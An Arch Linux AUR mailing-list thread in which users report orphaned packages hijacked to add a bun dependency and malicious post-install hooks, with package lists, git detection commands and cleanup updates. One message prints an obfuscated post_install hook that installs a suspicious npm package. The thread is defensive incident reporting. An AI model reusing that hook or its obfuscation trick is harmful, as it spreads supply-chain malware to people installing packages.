On 6/11/26 19:47, Jonathan Grotelüschen wrote:
Hi more packages infected with the new bun js-digest attack: - ruby-oauth - ruby-activerecord - ruby-activemodel - ruby-thread_safe They all use different AUR accounts which I assume are all malicious as well. Thanks for cleaning this up!
Cheers, Mario
I got an AUR notification this morning that a package I originally created many years ago had been taken over since it had gone orphaned. I can see from the diff that it's also a victim of the bun attack... - qscite Thanks for making a place to report these centrally. -Jared On Fri, Jun 12, 2026, 9:26 AM Mario Finelli <mario@finel.li> wrote:
The user adopted 16 packages in 2 minutes, and one of there packages added a bun dependency and the corresponding post-install script: https://aur.archlinux.org/cgit/aur.git/commit/?h=vlc-arc-dark-git&id=99b1a02... Sounds ban-worthy to me 🙃
Howdy,
I got notifications these 2 package have been adopted. I took a look at the page to see if dependencies have been changed and didn't noticed anything different, so probably safe, but with everything going on currently, if someone else wouldn't mind taking a look to verify that would be great. https://aur.archlinux.org/pkgbase/sex/ https://aur.archlinux.org/pkgbase/lyvi-git/
These two look non-malicious to me. At the very least they don't fit the pattern of the current bun compaign. On Fri, Jun 12, 2026, 11:45 AM Storm Dragon <stormdragon2976@gmail.com> wrote:
Hi, Those two packages were affected and have already been reverted to the safe version. The user account has already banned as far as I know. https://github.com/archlinux/aur/activity?ref=sex https://github.com/archlinux/aur/activity?ref=lyvi-git The packages are also listed here in the official list of affected (and fixed) packages. [1] I generated my own list [2] from the github activity logs and found ~120 more packages that were force-pushed (i.e. had some commits removed). All the packages in the official list (and my list) have been restored to the safe version as far as I know. [1]: https://md.archlinux.org/s/SxbqukK6IA [2]: https://paste.c-net.org/GreaterInfect -- Andy (sorry, used the wrong mail address, sending again to the list) Am 12.06.26 um 17:07 schrieb Storm Dragon:
On 2026-06-13 16:50, progandy wrote:
I added the additional packages to https://md.archlinux.org/s/SxbqukK6IA Thanks for your list! Best, Jonathan
Hi everyone, I believe that at the moment we deleted all the malicious commits we know of. Thanks to everyone for reporting packages. A list containing many (but not all) of the affected packages can be found here: https://md.archlinux.org/s/SxbqukK6IA Best, Jonathan
Hallo! Reporting AUR package: caja-deja-dup-bzr Just found this one, a former package of mine that I apparently still receive updates for: caja-deja-dup-bzr <https://aur.archlinux.org/cgit/aur.git/log/?h=caja-deja-dup-bzr> Perhaps a script that checks all uploads via SSH / changes on disk, and flags any addition of 'bun' etc? Kind regards, Edmund -- Edmund Lodewijks <edmund@proteamail.com> TZ: UCT+2 / GMT+2
On Sat, 13 Jun 2026, at 8:31 PM, Edmund Lodewijks wrote:
The malicious code in this is lightly obfuscated using string concatenation in the post install hook to avoid basic pattern matching using grep, etc. Is that new?
Those packages are likely compromised (all from a malicious user charlottedurand <https://aur.archlinux.org/account/charlottedurand>): python-poetry-plugin-dotenv iceweasel firefox-esr-globalmenu python-pylsp-rope cardano-node-bin git-open nitrogen-git nem-wallet minify-js-bin minichrome mingw-w64-laz-perf mdbook-compress masari linux-cachyos-deckify-native linux-cachyos-deckify-native-headers librewolf-extension-protonpass-bin librewolf-extension-duckduckgo-privacy-essentials kristforge-bin kmorph just-js-completion js-design-appimage js-design-agent-bin jade-application-kit gutenpy gobyte-qt gminer-bin fontfinder firefox-librejs firefox-floccus firefox-esr-ublock-origin firefox-esr-noscript firefox-babble fifth-git felinks-python ethlint-git esteem-bin emerald-wallet-bin elixirscript elements-project-bin elements-project edfbrowser-git deno-git cxo curecoind-git ctjs-bin create-next-app concordium-node-bin concordium-desktop-wallet-testnet-bin concordium-desktop-wallet-bin concordium-desktop-wallet-appimage code-notes-bin cl-javascript certbox-bin catalyst5-browser carto-sql-api cardano-wallet cardano-addresses camunda-modeler-plugin-bpmn-js-token-simulation caja-deja-dup-bzr btdex-git browserpass-git browserpass-cachy-browser bonsai-browser On Sat, Jun 13, 2026, at 21:36, Joshua Arnott wrote:
Benoît Zugmeyer
On 2026-06-13 21:41, Benoît Zugmeyer wrote:
Those packages are likely compromised (all from a malicious user charlottedurand <https://aur.archlinux.org/account/charlottedurand>):
I took care of these, thanks.
The malicious code in this is lightly obfuscated using string concatenation in the post install hook to avoid basic pattern matching using grep, etc. Is that new?
That’s new, yes. -- tippfehlr
On Thu, Jun 11, 2026 at 07:47:05PM +0200, Jonathan Grotelüschen wrote:
here we go again, now with obfuscated code: $ git log --all -S "'b''u''n'" --since="3 hours ago" --oneline af09b1cf1b59 (python-django-js-asset) Update dependencies (python-django-js-asset) fc1686472116 (puppy-browser) Add missing deps (puppy-browser) a5770512c0a0 (privacy-redirect-git) add deps ad43b9d36fb0 (playhouse-git) rebuild dee42adb1d4a (plasma6-applets-fancytasks) updpkgsums (plasma6-applets-fancytasks) 18e160e4af66 (openlayers) upgpkg 77e940aca52d (npm-accel) add deps (npm-accel) 9f78f86d315b (nodejs-vim-debugger) updpkgsums a939ae0b94fa (nodejs-ws) Fix deps 2f45cba74d0e (nodejs-qunit) upgpkg (nodejs-qunit) ae9efc2316e2 (nodejs-sweet) Fix build 2b0281471e67 (nodejs-pkg) Fix source d8ec8d1b1667 (nodejs-nodemailer) Fix build (nodejs-nodemailer) 97423ad53ffc (nodejs-jsfmt) sync 8ecc4763ae6e (nodejs-json-to-js) Fix build (nodejs-json-to-js) 8c8777cb6efd (nodejs-jscs) add deps def9a9c26f6d (nodejs-dicy-cli) Update source 520509753f52 (nodejs-browser-sync) Fix deps (nodejs-browser-sync) 50e70f41e533 (nitrogen-git) Fix install (nitrogen-git) 51f1f31c00fc (nem-wallet) Bump pkgrel b0620ca63777 (neovim-telescope-file-browser-git) add deps fd7c2046c370 (nanocurrency) Update PKGBUILD 8b08ce7e00be (librewolf-extension-vimiumc-bin) Fix install dd99ef59434f (librewolf-extension-protonpass-bin) updpkgsums 5b92cb26426c (kmorph) Update dependencies (kmorph) 5efa44bdde97 (kibana6) Fix build 02262d4c0ca9 (just-js) updpkgsums ff8e6c657a41 (kcmlaptop) Update source (kcmlaptop) 71061a13a17d (iceweasel) Fix build 7c3118898b73 (hudkit-wayland) Fix build (hudkit-wayland) 191ddf65e033 (hack-browser-data-git) Add missing deps 015d37ebcdf4 (gjs-git) sync 81136bdeb450 (fontfinder) sync cce5fff63f88 (firefox-floccus) sync (firefox-floccus) fe04bb990a35 (firefox-esr-noscript) rebuild 370d6ff5f5df (felida-bin) Fix deps 5ae118ed955e (edfbrowser-git) add deps ac14770e3b30 (deno-git) Bump pkgrel f9b91f5436dc (ctjs-bin) sync 3cbb060789e8 (concordium-desktop-wallet-testnet-bin) Fix build 3d477e3acbdc (cl-javascript) upgpkg e08dd6e54f27 (cl-parse-js) Fix source a82d32cd30a0 (claymore-miner-bin) rebuild 5f88b6813f74 (cl-parenscript) Fix install (cl-parenscript) 9441cefa807b (chia-git) Fix install 17870c40e170 (certbox-bin) Fix source 656ebbc409a9 (catalyst5-browser) Update source 525431fabeea (btdex-git) updpkgsums (btdex-git) 1e52b3bc3e06 Fix build 065f7bbc0b4c (algorand-devtools-bin) Fix source bb5741e96690 (beaker-browser-git) Update PKGBUILD (beaker-browser-git) b3cc85a2a3e3 (aura-browser) Update dependencies ebf8ba97fc88 (amfora-favicons-git) updpkg (amfora-favicons-git) 855e58cf9dff (atto-bin) upgpkg
On Sat, Jun 13, 2026 at 09:34:32PM +0200, a821 wrote:
[...] It waw quickly caught by the Arch Teams, Thanks!! All packages have been fixed AFAICT
There's a new wave (detected using my local Gemma E2B model FWIW). It's a little bit more elaborate: https://aur.archlinux.org/cgit/aur.git/commit/?h=htbrowser-bin&id=462c21877f... diff --git a/htbrowser-bin-deps.install b/htbrowser-bin-deps.install new file mode 100644 index 000000000000..9806501accad --- /dev/null +++ b/htbrowser-bin-deps.install @@ -0,0 +1,3 @@ +post_install() { + $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 'n'"e"'x'"t""f"'i''l''e''-''j''s' +} On Fri, 12 Jun 2026 at 01:47, Jonathan Grotelüschen <tippfehlr@archlinux.org> wrote:
Those too -- but I can't see the malicious commits on HEAD so I assume somebody took action already. - https://aur.archlinux.org/cgit/aur.git/commit/?h=gulden-appimage&id=8188e584... - https://aur.archlinux.org/cgit/aur.git/commit/?h=hack-browser-data-git&id=19... - https://aur.archlinux.org/cgit/aur.git/commit/?h=kcmlaptop&id=ff8e6c657a4105... On Sun, 14 Jun 2026 at 11:21, Nicolas Boichat <nicolas@boichat.ch> wrote:
Hi, you can follow https://github.com/archlinux/aur/activity?activity_type=force_push to see the reverts. On 2026-06-14 at 05:30, Nicolas Boichat wrote:
Not really malicious per se, but not appropriate either, picked up by my detection bot: https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=gtk2%2bextra&id=424... https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=openspades&id=efbf6... https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=pg_vectorize&id=f2c... https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=unsf-git&id=6d2cb90... I assume there are more coming, those 4 for now. On Sun, 14 Jun 2026 at 11:30, Nicolas Boichat <nicolas@boichat.ch> wrote:
On 2026-06-14 16:05, Nicolas Boichat wrote:
Cleaned up all packages from zkhr6 and banned them, thanks! -- tippfehlr
Maybe not the right term, malicious but harmless? https://aur.archlinux.org/cgit/aur.git/commit/?h=gimp-plugin-beautify&id=d7e... https://aur.archlinux.org/cgit/aur.git/commit/?h=voxatron-hib&id=fe6eb19b2e1... https://aur.archlinux.org/cgit/aur.git/commit/?h=weeplugins-git&id=c425f29b6... Alright, enough for now, I guess the rest can be easily grepped. (and I see the force pushes here: https://github.com/archlinux/aur/activity?activity_type=force_push thanks progandy!) On Sun, 14 Jun 2026 at 22:05, Nicolas Boichat <nicolas@boichat.ch> wrote:
Another one: https://aur.archlinux.org/cgit/aur.git/commit/?h=shortwave-git&id=6cd728c606... Sent with Proton Mail secure email. On Sunday, June 14th, 2026 at 8:23 AM, Nicolas Boichat <nicolas@boichat.ch> wrote:
Yeah, similar (but different) string from the earlier series, these are all the same I think: https://aur.archlinux.org/cgit/aur.git/commit/?h=arm-linux-gnueabihf-gdb&id=... https://aur.archlinux.org/cgit/aur.git/commit/?h=lightly-qt&id=969f5f3f9e676... https://aur.archlinux.org/cgit/aur.git/commit/?h=mpdas&id=dc69f5e7b0b4c54658... https://aur.archlinux.org/cgit/aur.git/commit/?h=netdata-git&id=7ef278e7fa6f... https://aur.archlinux.org/cgit/aur.git/commit/?h=obd-auto-doctor&id=16f061df... https://aur.archlinux.org/cgit/aur.git/commit/?h=ocaml-batteries&id=e7ce921a... https://aur.archlinux.org/cgit/aur.git/commit/?h=peksystray&id=d89bab7dfb0d8... https://aur.archlinux.org/cgit/aur.git/commit/?h=perl-gtk2-spell&id=86e72166... https://aur.archlinux.org/cgit/aur.git/commit/?h=psi-plus-l10n-git&id=55ee3d... https://aur.archlinux.org/cgit/aur.git/commit/?h=quazip-qt4&id=331499c820cf2... https://aur.archlinux.org/cgit/aur.git/commit/?h=rakudo-star&id=d4f410af667f... https://aur.archlinux.org/cgit/aur.git/commit/?h=repose-git&id=c1144bc9d3ef1... https://aur.archlinux.org/cgit/aur.git/commit/?h=rochard-hib&id=11b8dd033ec7... https://aur.archlinux.org/cgit/aur.git/commit/?h=shadowgrounds-survivor&id=7... https://aur.archlinux.org/cgit/aur.git/commit/?h=shatter-hib&id=7b1fdd3e7a0a... https://aur.archlinux.org/cgit/aur.git/commit/?h=shortwave-git&id=6cd728c606... https://aur.archlinux.org/cgit/aur.git/commit/?h=sia-daemon&id=8fcb62e67b73a... https://aur.archlinux.org/cgit/aur.git/commit/?h=spaz-hib&id=b16948ac95b63f7... https://aur.archlinux.org/cgit/aur.git/commit/?h=synergy-1.6&id=eb6f075948bb... https://aur.archlinux.org/cgit/aur.git/commit/?h=tmpmail-git&id=d84ff1741fb2... https://aur.archlinux.org/cgit/aur.git/commit/?h=udefrag&id=6d5de72f84ab0d0e... https://aur.archlinux.org/cgit/aur.git/commit/?h=vim-julia-git&id=efb398be88... https://aur.archlinux.org/cgit/aur.git/commit/?h=vim-phpcomplete&id=0f541616... https://aur.archlinux.org/cgit/aur.git/commit/?h=vim-voom&id=9ce5335bbdcbaf2... https://aur.archlinux.org/cgit/aur.git/commit/?h=vmware-vcli&id=90d2035e86a5... https://aur.archlinux.org/cgit/aur.git/commit/?h=vwm&id=a2a725030b0d1293a634... https://aur.archlinux.org/cgit/aur.git/commit/?h=windows2usb&id=4e6a4ca4c311... https://aur.archlinux.org/cgit/aur.git/commit/?h=xpra-git&id=9fe6361b06c7b7a... https://aur.archlinux.org/cgit/aur.git/commit/?h=ynab4&id=0b58bc2760650bb106... On Sun, 14 Jun 2026 at 23:49, Mark Wagie <mark.wagie@proton.me> wrote:
On 14/06/2026 18:22, Nicolas Boichat wrote:
Yeah, similar (but different) string from the earlier series, these are all the same I think:
Translation of the message, thanks deepl.com "You're an idiot and you're using that shitty Kal distro—install PIP and stop embarrassing yourself, or at least don't use Aur for noobs. Be grateful I didn't infect you with a virus; I just put a friendly reminder in the console. Happy Pride Month! Use Nocord, RAC, and Coproxy by Mr. Sugoma! Download the new Albanian virus from Russia. You were hacked by Stoppampers. Tesling deleted. Install PIP. I’m scared of PIP. For a face like that, I’ll PIP you. You were hacked by rclxit. I’m cool; I use Windows." -- Frederic Bezies fredbezies@gmail.com Blog: https://blog.fredericbezies-ep.fr/
Hi guys, a former package was orphaned from me but i still received the mails, so i could watch the hacker doing its work: Package: https://aur.archlinux.org/packages/rakudo-star Commit: https://aur.archlinux.org/cgit/aur.git/commit/?h=rakudo-star&id=d4f410af667f... Hackers Account: https://aur.archlinux.org/account/pingwin840 The Account was created on 2024-06-21 and is 2 years old! Kind regards, Holger On 11/06/2026 19:47, Jonathan Grotelüschen wrote:
Not exactly malicious, but definitely spam. Using the github AUR repo: In all these cases it adds to bash/zsh etc shell configs to echo spam, in russian, on start. $ while read ref; do git grep --files-with-matches 'NoServices' $ref; done < <( git refs list --format '%(refname)' ) | grep -Po '(?<=refs\/remotes\/origin\/).*' | sort | tee NoServices.txt algobox alist-desktop-bin arpoison asymptote-git aurbs blackfire-cli ccsm-git chinadns closure-hib cmaptools cypher-shell daggerfall-fixes dbacl docan-bin docan-unstable emacs-evil enyo-launcher esy faudio-git findwild gbdk gnome-pomodoro-git hidapi-git hypatia infer kicadlibrarian libdmx libparserutils-git llama.cpp-sycl-f16-git nikto-git nodejs-serverless nodejs-uglifycss nullfs-dkms-git onivim2-git onvifviewer pcb pcmanx-gtk2-git perl-xml-filter-domfilter-libxml pfqueue pgdbf plasma-theme-helium plataro-icons pngrim-git proteus-hib psychopy purple-gowhatsapp python-cmake-bin python-graphsrv python-imagebackup python-json2html python-llama-cpp-hip python-monkeytype python-pytest-filedata python-tmpl redocly rigsofrods-bin ruby-open_uri_redirections ruby-snapsync samsung-ssd-dc-toolkit scd softmaker-office-2012-bin spacebar-client-git spacebar-git swig2 systemtap-git tapeutape thomaswasalone-hib ttf-dotsies tuwunel-git ultimatevocalremovergui-git vaping vim-railscasts zenta-git (It was always in PKGBUILD, so I removed the ":PKGBUILD" from the output) On Thu, 11 Jun 2026, at 13:47, Jonathan Grotelüschen wrote:
participants (33)
-
a821
-
Aaron Fischer
-
André Herbst
-
Benoît Zugmeyer
-
Cristian Pereira
-
Damien
-
Edmund Lodewijks
-
fg-devel+archmail＠mailbox.org
-
Frederic Bezies
-
Frederick Zhang
-
Georg
-
Hans-Nikolai Viessmann
-
Holger Schramm
-
Iyán Méndez Veiga
-
Jared Sutton
-
Jeff Henson
-
Jerry Ling
-
Jonathan Grotelüschen
-
Joshua Arnott
-
klemens＠schoelhorn.eu
-
koraser＠keemail.me
-
koraynilay
-
Lex Black
-
Mario Finelli
-
Mark Wagie
-
movq
-
Nicolai Dagestad
-
Nicolas Boichat
-
Pierre Chapuis
-
progandy
-
Rafał Lichwała
-
Sid Karunaratne
-
Storm Dragon